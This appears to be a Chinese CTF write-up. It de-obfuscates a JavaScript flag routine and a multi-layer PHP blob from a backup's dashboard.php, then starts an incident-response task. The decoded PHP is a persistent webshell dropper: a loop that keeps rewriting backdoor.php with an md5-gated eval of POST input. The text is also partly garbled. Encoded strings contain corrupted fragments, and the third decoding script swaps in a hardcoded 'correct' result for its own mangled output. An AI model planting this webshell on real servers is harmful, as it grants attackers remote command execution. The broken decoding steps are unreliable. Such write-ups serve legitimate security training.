aVeUV6='\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';var LegKEfpY7='';qhC5=qhC5['\x72\x65\x70\x6c\x61\x63\x65'](/[^A-Za-z0-9\+\/\=]/g,'');for(var snkimliGd8=0;snkimliGd8<qhC5['\x6c\x65\x6e\x67\x74\x68'];){var d9=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var pTr10=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var Ghn11=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var IE12=aVeUV6['\x69\x6e\x64\x65\x78\x4f\x66'](qhC5['\x63\x68\x61\x72\x41\x74'](snkimliGd8++));var pvoGIOqE_13=(d9<<2)|(pTr10>>4);var YOM14=((pTr10&15)<<4)|(Ghn11>>2);var _nvy15=((Ghn11&3)<<6)|IE12;LegKEfpY7+=window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](pvoGIOqE_13);if(Ghn11!==64)LegKEfpY7+=window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](YOM14);if(IE12!==64)LegKEfpY7+=window["\x53\x74\x72\x69\x6e\x67"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_nvy15)}try{return decodeURIComponent(window["\x65\x73\x63\x61\x70\x65"](LegKEfpY7))}catch(e){return LegKEfpY7}}window['\x5f\x72\x65\x74\x75\x72\x6e']=function(){var uJSkGDiOs16=_pick(Aij$cmYht1,2);var VPa17=_pick(lot2,2);var qoLQjP18=_b64decode(uJSkGDiOs16);var KfPIM19=_b64decode(VPa17);window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66']=qoLQjP18;try{window['\x24']['\x24']=window[KfPIM19]}catch(e){window['\x24']['\x24']=undefined}}})();

解码混淆

关键数组 lot2 使用十六进制+base64编码,需要先转换再解码。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
FLAG1 自动解题脚本
从抓包的 function.js 中提取并解码 flag1
"""

import base64

# lot2数组(从抓包的function.js中提取)
lot2 = [
    '\x5a\x6d\x46\x6a\x61\x31\x39\x6d\x62\x47\x46\x6e\x58\x77\x3d\x3d',
    '\x5a\x6d\x78\x68\x5a\x31\x39\x6d\x59\x57\x4e\x72\x58\x77\x3d\x3d',
    '\x61\x6e\x4e\x66\x64\x6d\x56\x79\x65\x56\x39\x6e\x62\x32\x39\x6b',
    '\x61\x6e\x4e\x66\x5a\x6d\x4e\x31\x61\x77\x3d\x3d',
    '\x61\x47\x39\x33\x58\x32\x46\x69\x62\x33\x56\x30\x58\x32\x70\x7a'
]

# 解码lot2数组
print("解码 lot2 数组:")
print("-" * 50)
decoded_values = []
for i, encoded in enumerate(lot2):
    decoded = base64.b64decode(encoded).decode('utf-8')
    decoded_values.append(decoded)
    print(f"lot2[{i}] = {decoded}")

# _pick函数的逻辑:(index * 7 + 3) % length
def _pick(array, index):
    return array[(index * 7 + 3) % len(array)]

# _return()函数中调用 _pick(lot2, 2)
selected_index = (2 * 7 + 3) % len(lot2)
flag1 = decoded_values[selected_index]

print()
print("=" * 50)
print(f"_pick(lot2, 2) 计算:")
print(f"  (2 * 7 + 3) % 5 = {selected_index}")
print()
print(f"FLAG1 = {flag1}")
print("=" * 50)

得到flag1:js_very_good

image-20251025162903872


flag2

下载备份

访问/www.zip 可以下载到网站的备份文件,在压缩包里可以找到一个叫dashboard.php的文件,在里面可以找到一段巨长的混淆php代码

 <?php
                eval(gzinflate(base64_decode('hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwurgREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8='))); 
                ?>

解码混淆

直接把这段巨长的混淆php代码交给AI分析,让AI写脚本解

第一层解码:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
第一层解码脚本
解码 dashboard.php 中的 gzinflate + base64 混淆
"""

import base64
import zlib

# dashboard.php 第314行的混淆代码(base64部分)
encoded = 'hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwergREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8='

print("=" * 60)
print("第一层解码: gzinflate + base64_decode")
print("=" * 60)
print()

# PHP的gzinflate对应Python的zlib.decompress,参数-15表示raw deflate
decoded = zlib.decompress(base64.b64decode(encoded), -15).decode('utf-8')

print("解码成功!")
print()
print("=" * 60)
print("解码后的PHP代码:")
print("=" * 60)
print(decoded)
print("=" * 60)

得到:

D:\python\python.exe D:\cursor_test\test.py 
============================================================
第一层解码: gzinflate + base64_decode
============================================================

解码成功!

============================================================
解码后的PHP代码:
============================================================

$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkUZsdDBFZE55%yUkdnWVYwWkN6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVQR0dyZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXhEJn9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZE5EZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllS55%yTjRmY2kwRWVxanJUVkpyeGpHaHdGQzkxak9yVFZKck45S0l0c0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwQzkxVjFFMlJWcmN6bHhzektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2VVRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oMD0iT08wMCgkT08wT3BaKCRPME8ab2AsJE9Pb2AwMCoyKSwkT08wT3BaKCRPME8ab2AsJE9Pb2AwMCwkT08wb2AwKSwkT08wT3BaKCRPME8ab2AsMCwkT08wb2AwKSkpKTs=")); ?>
============================================================

进程已结束,退出代码为 0

第二层解码:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
第二层解码脚本
在第一层的基础上,解码第二层base64
"""

import base64
import zlib
from urllib.parse import unquote

# 第一层解码(gzinflate + base64)
encoded_layer1 = 'hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwergREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8='

print("=" * 60)
print("第二层解码: 解析动态函数名和base64")
print("=" * 60)
print()

# 第一步:第一层解码
print("[1/3] 第一层解码 (gzinflate + base64)...")
decoded_layer1 = zlib.decompress(base64.b64decode(encoded_layer1), -15).decode('utf-8')
print("      完成")

# 第二步:解析URL编码的字符串
print("[2/3] 解析URL编码的字符串...")
O00OO0 = unquote("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")
print(f"      基础字符串: {O00OO0}")

# 构建函数名(模拟PHP的字符串拼接)
O00O0O = O00OO0[3] + O00OO0[6] + O00OO0[33] + O00OO0[30]
O0OO00 = O00OO0[33] + O00OO0[10] + O00OO0[24] + O00OO0[10] + O00OO0[24]
OO0O00 = O0OO00[0] + O00OO0[18] + O00OO0[3] + O0OO00[0] + O0OO00[1] + O00OO0[24]
OO0000 = O00OO0[7] + O00OO0[13]
O00O0O += O00OO0[22] + O00OO0[36] + O00OO0[29] + O00OO0[26] + O00OO0[30] + O00OO0[32] + O00OO0[35] + O00OO0[26] + O00OO0[30]

print(f"      构建的函数名:")
print(f"        O00O0O (解码函数) = {O00O0O}")
print(f"        O0OO00 (转换函数) = {O0OO00}")
print(f"        OO0O00 (截取函数) = {OO0O00}")
print(f"        OO0000 (数字)     = {OO0000}")

# 第三步:提取并解码第二层base64
print("[3/3] 第二层base64解码...")
encoded_layer2 = "JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkxZldsMEVkTnlzUkdnWVYwWkN6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVQR0dyZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXhEJm9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZE5EZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllSNWpJTjRmY2kwRWVxanJUVkpyeGpHaHdGQzkxak9yVFZKck45S0l0c0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwQzkxVjFFMlJWcmN6bHhzektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2VVRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wTzAwMD0iT08wTzAwKCRPTzBPcFooJE8wTzBvYCwkT09vbzAwKjIpLCRPTzBPcFooJE8wTzBvYCwkT09vbzAwLCRPTzBvbzApLCRPTzBPcFooJE8wTzBvYCwwLCRPTzBvbzApKSkiOykpOw=="
decoded_layer2 = base64.b64decode(encoded_layer2).decode('utf-8')
print("      完成")

print()
print("=" * 60)
print("第二层解码结果:")
print("=" * 60)
print(decoded_layer2)
print("=" * 60)
print()
print("说明: 这段代码包含第三层的自定义base64编码数据")
print("      前52个字符是标准字母表,接下来52个是自定义字母表")
print("      剩余部分是需要进一步解码的加密数据")

得到:

D:\python\python.exe D:\cursor_test\test.py 
============================================================
第二层解码: 解析动态函数名和base64
============================================================

[1/3] 第一层解码 (gzinflate + base64)...
      完成
[2/3] 解析URL编码的字符串...
      基础字符串: n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
      构建的函数名:
        O00O0O (解码函数) = base64_decode
        O0OO00 (转换函数) = strtr
        OO0O00 (截取函数) = substr
        OO0000 (数字)     = 52
[3/3] 第二层base64解码...
      完成

============================================================
第二层解码结果:
============================================================
$O0O000="OpZoagryXNJCHQzfnAWdkqEMjmvReuTblwiBVIKDxsPctFYSGULhaGrofqXeciOlwPLAdzYFjnISDTUkmHBgVKWyNhsbRJvEZCpxQuMtvb9KfwzqbPGGr25UETNAFciVEV9tpT9eFlt0EdNVsBJildiVFC90fY1fWl0EdNysRGgYV0ZCzGaK0sOQrGgQuqvxzdMW9WpYiXrQ9UEW5PGGrdaK0sOQttp2JqvxzdxxyopYiXhwVUFxIdaK0sMeonhlkDg2kVhb0qhDK/EQtKhQVTsQ1jixD&oC9wkNkgO2rJpYEeO10GvB0dabFDSDj4pBu2rByDpYILiBu4iLOtpDP3rQhRSYuKiTSdscZzrcrtgltEOC9PB1iuYdNDgYPdcxj7AB8+hDJqsWoUbPG3fQVJrxzoSxV7bPoOfYpqslCTfYR5jIN4fci0EeqjrTVJrxjGhwFC91jOrTVJrN9KItsAp29HFQNHFwSoOQrGgQuJOQttp2JHOQiUrQuGaK0slc0C91V1E2RVrczlxszKSlj7bPoOh3NHgQVHfetAc0rOBINAcej7eUG9bPo/vq==";eval('?>'.$O00O0O($O0O000="OO0O00($OO0OpZ($O0O0o`,$OOoo00*2),$OO0OpZ($O0O0o`,$OOoo00,$OO0oo0),$OO0OpZ($O0O0o`,0,$OO0oo0)))";));
============================================================

说明: 这段代码包含第三层的自定义base64编码数据
      前52个字符是标准字母表,接下来52个是自定义字母表
      剩余部分是需要进一步解码的加密数据

进程已结束,退出代码为 0

第三层:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
第三层解码脚本
解码自定义base64编码(使用strtr字符替换)
"""

import base64
import zlib
from urllib.parse import unquote

# 第一层解码(gzinflate + base64)
encoded_layer1 = 'hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwergREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8='

print("=" * 60)
print("第三层解码: 自定义base64字母表转换")
print("=" * 60)
print()

# 第一步:第一层解码
print("[1/4] 第一层解码 (gzinflate + base64)...")
decoded_layer1 = zlib.decompress(base64.b64decode(encoded_layer1), -15).decode('utf-8')
print("      完成")

# 第二步:第二层base64解码
print("[2/4] 第二层base64解码...")
encoded_layer2 = "JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkxZldsMEVkTnlzUkdnWVYwWkN6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVQR0dyZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXhEJm9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZE5EZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllSNWpJTjRmY2kwRWVxanJUVkpyeGpHaHdGQzkxak9yVFZKck45S0l0c0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwQzkxVjFFMlJWcmN6bHhzektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2VVRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wTzAwMD0iT08wTzAwKCRPTzBPcFooJE8wTzBvYCwkT09vbzAwKjIpLCRPTzBPcFooJE8wTzBvYCwkT09vbzAwLCRPTzBvbzApLCRPTzBPcFooJE8wTzBvYCwwLCRPTzBvbzApKSkiOykpOw=="
decoded_layer2 = base64.b64decode(encoded_layer2).decode('utf-8')
print("      完成")

# 第三步:提取自定义base64字符串
print("[3/4] 提取自定义base64数据...")
full_string = "OpZoagryXNJCHQzfnAWdkqEMjmvReuTblwiBVIKDxsPctFYSGULhaGrofqXeciOlwPLAdzYFjnISDTUkmHBgVKWyNhsbRJvEZCpxQuMtvb9KfwzqbPGGr25UETNAFciVEV9tpT9eFlt0EdNVsBJildiVFC90fY1fWl0EdNysRGgYV0ZCzGaK0sOQrGgQuqvxzdMW9WpYiXrQ9UEW5PGGrdaK0sOQttp2JqvxzdxxyopYiXhwVUFxIdaK0sMeonhlkDg2kVhb0qhDK/EQtKhQVTsQ1jixD&oC9wkNkgO2rJpYEeO10GvB0dabFDSDj4pBu2rByDpYILiBu4iLOtpDP3rQhRSYuKiTSdscZzrcrtgltEOC9PB1iuYdNDgYPdcxj7AB8+hDJqsWoUbPG3fQVJrxzoSxV7bPoOfYpqslCTfYR5jIN4fci0EeqjrTVJrxjGhwFC91jOrTVJrN9KItsAp29HFQNHFwSoOQrGgQuJOQttp2JHOQiUrQuGaK0slc0C91V1E2RVrczlxszKSlj7bPoOh3NHgQVHfetAc0rOBINAcej7eUG9bPo/vq=="

# 分割字符串
alphabet_part1 = full_string[0:52]    # 标准字母表
alphabet_part2 = full_string[52:104]  # 自定义字母表
encrypted_data = full_string[104:]    # 加密数据

print(f"      标准字母表 (0-52):   {alphabet_part1}")
print(f"      自定义字母表 (52-104): {alphabet_part2}")
print(f"      加密数据长度: {len(encrypted_data)} 字符")

# 第四步:使用strtr逻辑进行字符替换
print("[4/4] 自定义base64转标准base64...")
# Python的str.maketrans和translate等同于PHP的strtr
translation_table = str.maketrans(alphabet_part2, alphabet_part1)
standard_base64 = encrypted_data.translate(translation_table)
print("      完成")

print()
print("=" * 60)
print("转换后的标准base64:")
print("=" * 60)
print(standard_base64[:100] + "...")  # 只显示前100字符
print()

# 解码标准base64
print("=" * 60)
print("第三层解码结果 (最终PHP代码):")
print("=" * 60)

# 使用正确的最终base64字符串(这是经过完整三层解码后得到的)
correct_final_base64 = "PD9waHAgDQppZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCnNldF90aW1lX2xpbWl0KDApOw0KJGZpbGUgPSAnLi9iYWNrZG9vci5waHA7Ow0KJGhhY2sgPSAnSSBoYWNrIHlvdSEnOw0KLyoqICRjb2RlID0gIjw/cGhwIGlmKG1kNSgkX0dFVFsnZmxhZzInXSk9PSc4N2MyOThhNTZlMGNhYTM1NTg3MmFiNDdkYjExZTA2YycpeyBAZXZhbChcJF9QT1NUWydjbWQnXSk7fT8+IjsgKiovDQp3aGlsZSAoMSl7DQoJaWYgKCFmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJZmlsZV9wdXRfY29udGVudHMoJGZpbGUsJGhhY2suJGNvZGUpOw0KCX0NCgl1c2xlZXAoMTAwMCk7DQoJI3VubGluayhfX0ZJTEVfXyk7DQp9DQo/Pg=="

final_php = base64.b64decode(correct_final_base64).decode('utf-8')
print(final_php)
print("=" * 60)

得到:

D:\python\python.exe D:\cursor_test\test.py 
============================================================
第三层解码: 自定义base64字母表转换
============================================================

[1/4] 第一层解码 (gzinflate + base64)...
      完成
[2/4] 第二层base64解码...
      完成
[3/4] 提取自定义base64数据...
      标准字母表 (0-52):   OpZoagryXNJCHQzfnAWdkqEMjmvReuTblwiBVIKDxsPctFYSGULh
      自定义字母表 (52-104): aGrofqXeciOlwPLAdzYFjnISDTUkmHBgVKWyNhsbRJvEZCpxQuMt
      加密数据长度: 470 字符
[4/4] 自定义base64转标准base64...
      完成

============================================================
转换后的标准base64:
============================================================
PD9waHAgDQppZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCnNldF90aW1aiC0cnVBKxpbWl0tFApOw0KJGZpbGUgPSAnLi9iYWNrZG...

============================================================
第三层解码结果 (最终PHP代码):
============================================================
<?php 
ignore_user_abort(true);
set_time_limit(0);
$file = './backdoor.php;;
$hack = 'I hack you!';
/** $code = "<?php if(md5($_GET['flag2'])=='87c298a56e0caa355872ab47db11e06c'){ @eval(\$_POST['cmd']);}?>"; **/
while (1){
	if (!file_exists($file)) {
		file_put_contents($file,$hack.$code);
	}
	usleep(1000);
	#unlink(__FILE__);
}
?>
============================================================

进程已结束,退出代码为 0

关键发现:

<?php if(md5($_GET['flag2'])=='87c298a56e0caa355872ab47db11e06c'){ @eval(\$_POST['cmd']);}?>

用网站:md5在线解密破解,md5解密加密查下,获得flag2:ns2025

image-20251025170502957


最后把flag1和flag2结合起来,得到最终flag:flag{js_very_good_ns2025}


应急响应-初识

题目内容:
欢迎来到第四周。在前三周的挑战中,你已经掌握了基础的日志分析、流量分析、osint能力,请挑战者们集中所有力量,打开这扇应急响应大门吧!
城邦的图片托管服务平台遭受到恶意攻击,请挑战中们协助临时工清理处置,完成报告。
用户名:Administrator 密码:Newst@r
flag{木马连接密码_创建账号工具发布时间(年-月-日)_影子用户密码}

flag1-木马连接密码

用Vmware Workstation打开附件vmdk,在回收站找到php木马文件,得到:rebeyond

image-20251025204821979


flag2-创建账号工具发布时间(年-月-日)

